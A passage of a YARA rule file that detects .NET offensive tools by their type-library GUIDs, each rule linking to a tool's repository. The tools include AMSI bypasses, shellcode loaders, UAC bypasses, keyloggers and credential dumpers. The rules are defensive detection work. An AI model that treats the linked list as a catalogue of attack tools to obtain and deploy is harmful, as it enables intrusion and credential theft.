		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpShell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/cobbr/SharpShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5966be44-c010-5c63-9576-1aaf36397d6c"

	strings:
		$typelibguid0lo = "bdba47c5-e823-4404-91d0-7f6561279525" ascii wide
		$typelibguid0up = "BDBA47C5-E823-4404-91D0-7F6561279525" ascii wide
		$typelibguid1lo = "b84548dc-d926-4b39-8293-fa0bdef34d49" ascii wide
		$typelibguid1up = "B84548DC-D926-4B39-8293-FA0BDEF34D49" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_EvilWMIProvider
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/sunnyc7/EvilWMIProvider"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "3a6cf00e-28c4-5e6f-a28d-b3f28fca6eed"

	strings:
		$typelibguid0lo = "a4020626-f1ec-4012-8b17-a2c8a0204a4b" ascii wide
		$typelibguid0up = "A4020626-F1EC-4012-8B17-A2C8A0204A4B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_GadgetToJScript
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/med0x2e/GadgetToJScript"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e296795f-d006-52a9-92c4-fb60c930564b"

	strings:
		$typelibguid0lo = "af9c62a1-f8d2-4be0-b019-0a7873e81ea9" ascii wide
		$typelibguid0up = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii wide
		$typelibguid1lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
		$typelibguid1up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AzureCLI_Extractor
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0x09AL/AzureCLI-Extractor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "f595545a-a7a6-577c-b3f4-febf7bf1b6c3"

	strings:
		$typelibguid0lo = "a73cad74-f8d6-43e6-9a4c-b87832cdeace" ascii wide
		$typelibguid0up = "A73CAD74-F8D6-43E6-9A4C-B87832CDEACE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_UAC_Escaper
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/UAC-Escaper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "ea95ff3c-0cbb-5230-b5e4-bd8b2ff975eb"

	strings:
		$typelibguid0lo = "95359279-5cfa-46f6-b400-e80542a7336a" ascii wide
		$typelibguid0up = "95359279-5CFA-46F6-B400-E80542A7336A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_HTTPSBeaconShell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d66e3566-6082-570a-a168-f44c9d8c7619"

	strings:
		$typelibguid0lo = "aca853dc-9e74-4175-8170-e85372d5f2a9" ascii wide
		$typelibguid0up = "ACA853DC-9E74-4175-8170-E85372D5F2A9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AmsiScanBufferBypass
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/AmsiScanBufferBypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "12a15e61-30fb-50a3-a59b-39f9871444f0"

	strings:
		$typelibguid0lo = "431ef2d9-5cca-41d3-87ba-c7f5e4582dd2" ascii wide
		$typelibguid0up = "431EF2D9-5CCA-41D3-87BA-C7F5E4582DD2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ShellcodeLoader
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Hzllaga/ShellcodeLoader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "b8787dac-48a3-5711-86ba-0fda86b6224e"

	strings:
		$typelibguid0lo = "a48fe0e1-30de-46a6-985a-3f2de3c8ac96" ascii wide
		$typelibguid0up = "A48FE0E1-30DE-46A6-985A-3F2DE3C8AC96" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_KeystrokeAPI
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/fabriciorissetto/KeystrokeAPI"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e715bce8-531b-5e2a-bd02-b2fc4990c499"

	strings:
		$typelibguid0lo = "f6fec17e-e22d-4149-a8a8-9f64c3c905d3" ascii wide
		$typelibguid0up = "F6FEC17E-E22D-4149-A8A8-9F64C3C905D3" ascii wide
		$typelibguid1lo = "b7aa4e23-39a4-49d5-859a-083c789bfea2" ascii wide
		$typelibguid1up = "B7AA4E23-39A4-49D5-859A-083C789BFEA2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ShellCodeRunner
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/antman1p/ShellCodeRunner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "949364e7-dcb6-5afd-ade9-cc34a6e15e97"

	strings:
		$typelibguid0lo = "634874b7-bf85-400c-82f0-7f3b4659549a" ascii wide
		$typelibguid0up = "634874B7-BF85-400C-82F0-7F3B4659549A" ascii wide
		$typelibguid1lo = "2f9c3053-077f-45f2-b207-87c3c7b8f054" ascii wide
		$typelibguid1up = "2F9C3053-077F-45F2-B207-87C3C7B8F054" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_OffensiveCSharp
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/diljith369/OffensiveCSharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "339f6858-6076-5320-ba5f-2903e642ea42"

	strings:
		$typelibguid0lo = "6c3fbc65-b673-40f0-b1ac-20636df01a85" ascii wide
		$typelibguid0up = "6C3FBC65-B673-40F0-B1AC-20636DF01A85" ascii wide
		$typelibguid1lo = "2bad9d69-ada9-4f1e-b838-9567e1503e93" ascii wide
		$typelibguid1up = "2BAD9D69-ADA9-4F1E-B838-9567E1503E93" ascii wide
		$typelibguid2lo = "512015de-a70f-4887-8eae-e500fd2898ab" ascii wide
		$typelibguid2up = "512015DE-A70F-4887-8EAE-E500FD2898AB" ascii wide
		$typelibguid3lo = "1ee4188c-24ac-4478-b892-36b1029a13b3" ascii wide
		$typelibguid3up = "1EE4188C-24AC-4478-B892-36B1029A13B3" ascii wide
		$typelibguid4lo = "5c6b7361-f9ab-41dc-bfa0-ed5d4b0032a8" ascii wide
		$typelibguid4up = "5C6B7361-F9AB-41DC-BFA0-ED5D4B0032A8" ascii wide
		$typelibguid5lo = "048a6559-d4d3-4ad8-af0f-b7f72b212e90" ascii wide
		$typelibguid5up = "048A6559-D4D3-4AD8-AF0F-B7F72B212E90" ascii wide
		$typelibguid6lo = "3412fbe9-19d3-41d8-9ad2-6461fcb394dc" ascii wide
		$typelibguid6up = "3412FBE9-19D3-41D8-9AD2-6461FCB394DC" ascii wide
		$typelibguid7lo = "9ea4e0dc-9723-4d93-85bb-a4fcab0ad210" ascii wide
		$typelibguid7up = "9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210" ascii wide
		$typelibguid8lo = "6d2b239c-ba1e-43ec-8334-d67d52b77181" ascii wide
		$typelibguid8up = "6D2B239C-BA1E-43EC-8334-D67D52B77181" ascii wide
		$typelibguid9lo = "42e8b9e1-0cf4-46ae-b573-9d0563e41238" ascii wide
		$typelibguid9up = "42E8B9E1-0CF4-46AE-B573-9D0563E41238" ascii wide
		$typelibguid10lo = "0d15e0e3-bcfd-4a85-adcd-0e751dab4dd6" ascii wide
		$typelibguid10up = "0D15E0E3-BCFD-4A85-ADCD-0E751DAB4DD6" ascii wide
		$typelibguid11lo = "644dfd1a-fda5-4948-83c2-8d3b5eda143a" ascii wide
		$typelibguid11up = "644DFD1A-FDA5-4948-83C2-8D3B5EDA143A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SHAPESHIFTER
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/matterpreter/SHAPESHIFTER"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8903c65a-624f-5e8d-a3f6-4572b56bd2f7"

	strings:
		$typelibguid0lo = "a3ddfcaa-66e7-44fd-ad48-9d80d1651228" ascii wide
		$typelibguid0up = "A3DDFCAA-66E7-44FD-AD48-9D80D1651228" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Evasor
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/cyberark/Evasor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "457959ed-3e90-52c7-89f9-e1b17b35260e"

	strings:
		$typelibguid0lo = "1c8849ef-ad09-4727-bf81-1f777bd1aef8" ascii wide
		$typelibguid0up = "1C8849EF-AD09-4727-BF81-1F777BD1AEF8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Stracciatella
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mgeeky/Stracciatella"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5b1a8102-6d59-5f2f-8ae2-b3c1f75a561d"

	strings:
		$typelibguid0lo = "eaafa0ac-e464-4fc4-9713-48aa9a6716fb" ascii wide
		$typelibguid0up = "EAAFA0AC-E464-4FC4-9713-48AA9A6716FB" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_logger
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/xxczaki/logger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "82937fef-8280-5bc6-af4a-55c5cb3a7553"

	strings:
		$typelibguid0lo = "9e92a883-3c8b-4572-a73e-bb3e61cfdc16" ascii wide
		$typelibguid0up = "9E92A883-3C8B-4572-A73E-BB3E61CFDC16" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Internal_Monologue
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/eladshamir/Internal-Monologue"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "ce2773a2-b0b7-560e-ba21-3f018ddcacb3"

	strings:
		$typelibguid0lo = "0c0333db-8f00-4b68-b1db-18a9cacc1486" ascii wide
		$typelibguid0up = "0C0333DB-8F00-4B68-B1DB-18A9CACC1486" ascii wide
		$typelibguid1lo = "84701ace-c584-4886-a3cf-76c57f6e801a" ascii wide
		$typelibguid1up = "84701ACE-C584-4886-A3CF-76C57F6E801A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_GRAT2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/r3nhat/GRAT2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e731d563-0d16-5f84-8127-624a71f8b646"

	strings:
		$typelibguid0lo = "5e7fce78-1977-444f-a18e-987d708a2cff" ascii wide
		$typelibguid0up = "5E7FCE78-1977-444F-A18E-987D708A2CFF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PowerShdll
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/p3nt4/PowerShdll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "3f582a47-078e-525f-9d02-4ee7a455a3b2"

	strings:
		$typelibguid0lo = "36ebf9aa-2f37-4f1d-a2f1-f2a45deeaf21" ascii wide
		$typelibguid0up = "36EBF9AA-2F37-4F1D-A2F1-F2A45DEEAF21" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CsharpAmsiBypass
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/WayneJLee/CsharpAmsiBypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "ca97004e-edc1-5b5a-ac67-e81ae24631aa"

	strings:
		$typelibguid0lo = "4ab3b95d-373c-4197-8ee3-fe0fa66ca122" ascii wide
		$typelibguid0up = "4AB3B95D-373C-4197-8EE3-FE0FA66CA122" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_HastySeries
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/obscuritylabs/HastySeries"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0d35acf4-c763-593c-94e2-c499d3826375"

	strings:
		$typelibguid0lo = "8435531d-675c-4270-85bf-60db7653bcf6" ascii wide
		$typelibguid0up = "8435531D-675C-4270-85BF-60DB7653BCF6" ascii wide
		$typelibguid1lo = "47db989f-7e33-4e6b-a4a5-c392b429264b" ascii wide
		$typelibguid1up = "47DB989F-7E33-4E6B-A4A5-C392B429264B" ascii wide
		$typelibguid2lo = "300c7489-a05f-4035-8826-261fa449dd96" ascii wide
		$typelibguid2up = "300C7489-A05F-4035-8826-261FA449DD96" ascii wide
		$typelibguid3lo = "41bf8781-ae04-4d80-b38d-707584bf796b" ascii wide
		$typelibguid3up = "41BF8781-AE04-4D80-B38D-707584BF796B" ascii wide
		$typelibguid4lo = "620ed459-18de-4359-bfb0-6d0c4841b6f6" ascii wide
		$typelibguid4up = "620ED459-18DE-4359-BFB0-6D0C4841B6F6" ascii wide
		$typelibguid5lo = "91e7cdfe-0945-45a7-9eaa-0933afe381f2" ascii wide
		$typelibguid5up = "91E7CDFE-0945-45A7-9EAA-0933AFE381F2" ascii wide
		$typelibguid6lo = "c28e121a-60ca-4c21-af4b-93eb237b882f" ascii wide
		$typelibguid6up = "C28E121A-60CA-4C21-AF4B-93EB237B882F" ascii wide
		$typelibguid7lo = "698fac7a-bff1-4c24-b2c3-173a6aae15bf" ascii wide
		$typelibguid7up = "698FAC7A-BFF1-4C24-B2C3-173A6AAE15BF" ascii wide
		$typelibguid8lo = "63a40d94-5318-42ad-a573-e3a1c1284c57" ascii wide
		$typelibguid8up = "63A40D94-5318-42AD-A573-E3A1C1284C57" ascii wide
		$typelibguid9lo = "56b8311b-04b8-4e57-bb58-d62adc0d2e68" ascii wide
		$typelibguid9up = "56B8311B-04B8-4E57-BB58-D62ADC0D2E68" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DreamProtectorFree
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Paskowsky/DreamProtectorFree"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "9ebee989-3441-5a76-b243-08de978b541c"

	strings:
		$typelibguid0lo = "f7e8a902-2378-426a-bfa5-6b14c4b40aa3" ascii wide
		$typelibguid0up = "F7E8A902-2378-426A-BFA5-6B14C4B40AA3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RedSharp
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/padovah4ck/RedSharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "2aa62d61-075c-5664-a7fc-2b9d84b954ed"

	strings:
		$typelibguid0lo = "30b2e0cf-34dd-4614-a5ca-6578fb684aea" ascii wide
		$typelibguid0up = "30B2E0CF-34DD-4614-A5CA-6578FB684AEA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ESC
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NetSPI/ESC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "a57c47e8-62bf-5425-9735-35a3e3a0c218"

	strings:
		$typelibguid0lo = "06260ce5-61f4-4b81-ad83-7d01c3b37921" ascii wide
		$typelibguid0up = "06260CE5-61F4-4B81-AD83-7D01C3B37921" ascii wide
		$typelibguid1lo = "87fc7ede-4dae-4f00-ac77-9c40803e8248" ascii wide
		$typelibguid1up = "87FC7EDE-4DAE-4F00-AC77-9C40803E8248" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Csharp_Loader
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Csharp-Loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "bf0c3d93-cbea-54c7-b950-fd4e5a600d07"

	strings:
		$typelibguid0lo = "5fd7f9fc-0618-4dde-a6a0-9faefe96c8a1" ascii wide
		$typelibguid0up = "5FD7F9FC-0618-4DDE-A6A0-9FAEFE96C8A1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_bantam
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/gellin/bantam"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0ed3f5e5-d954-51e2-b7fb-4c25ca3d9f10"

	strings:
		$typelibguid0lo = "14c79bda-2ce6-424d-bd49-4f8d68630b7b" ascii wide
		$typelibguid0up = "14C79BDA-2CE6-424D-BD49-4F8D68630B7B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpTask
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jnqpblc/SharpTask"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "2cdd1a15-c70c-5eea-b5a7-8b4a445b9323"

	strings:
		$typelibguid0lo = "13e90a4d-bf7a-4d5a-9979-8b113e3166be" ascii wide
		$typelibguid0up = "13E90A4D-BF7A-4D5A-9979-8B113E3166BE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_WindowsPlague
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/RITRedteam/WindowsPlague"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "89729c43-ae01-5c1f-af04-06d7a6c4e7fc"

	strings:
		$typelibguid0lo = "cdf8b024-70c9-413a-ade3-846a43845e99" ascii wide
		$typelibguid0up = "CDF8B024-70C9-413A-ADE3-846A43845E99" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Misc_CSharp
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jnqpblc/Misc-CSharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d25fa706-2254-5a82-a961-f57a0daa447c"

	strings:
		$typelibguid0lo = "d1421ba3-c60b-42a0-98f9-92ba4e653f3d" ascii wide
		$typelibguid0up = "D1421BA3-C60B-42A0-98F9-92BA4E653F3D" ascii wide
		$typelibguid1lo = "2afac0dd-f46f-4f95-8a93-dc17b4f9a3a1" ascii wide
		$typelibguid1up = "2AFAC0DD-F46F-4F95-8A93-DC17B4F9A3A1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSpray
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jnqpblc/SharpSpray"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e9312c96-be10-5942-a4da-1fe708cc6699"

	strings:
		$typelibguid0lo = "51c6e016-1428-441d-82e9-bb0eb599bbc8" ascii wide
		$typelibguid0up = "51C6E016-1428-441D-82E9-BB0EB599BBC8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Obfuscator
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/3xpl01tc0d3r/Obfuscator"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d9988b00-1f10-5421-8ffe-49849a5d5902"

	strings:
		$typelibguid0lo = "8fe5b811-a2cb-417f-af93-6a3cf6650af1" ascii wide
		$typelibguid0up = "8FE5B811-A2CB-417F-AF93-6A3CF6650AF1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SafetyKatz
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/GhostPack/SafetyKatz"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5f6d7432-0bb5-5782-98ec-2c2168f2fc1f"

	strings:
		$typelibguid0lo = "8347e81b-89fc-42a9-b22c-f59a6a572dec" ascii wide
		$typelibguid0up = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Dropless_Malware
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Dropless-Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0da3b6d8-2002-590e-a8d5-f6c84acfb083"

	strings:
		$typelibguid0lo = "23b739f7-2355-491e-a7cd-a8485d39d6d6" ascii wide
		$typelibguid0up = "23B739F7-2355-491E-A7CD-A8485D39D6D6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_UAC_SilentClean
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/EncodeGroup/UAC-SilentClean"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "2dde9632-10c5-5c91-8bd9-2fb80d6f0c49"

	strings:
		$typelibguid0lo = "948152a4-a4a1-4260-a224-204255bfee72" ascii wide
		$typelibguid0up = "948152A4-A4A1-4260-A224-204255BFEE72" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DesktopGrabber
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/DesktopGrabber"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "7db07291-d6d4-5527-a879-27f899dbd6fe"

	strings:
		$typelibguid0lo = "e6aa0cd5-9537-47a0-8c85-1fbe284a4380" ascii wide
		$typelibguid0up = "E6AA0CD5-9537-47A0-8C85-1FBE284A4380" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_wsManager
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/guillaC/wsManager"
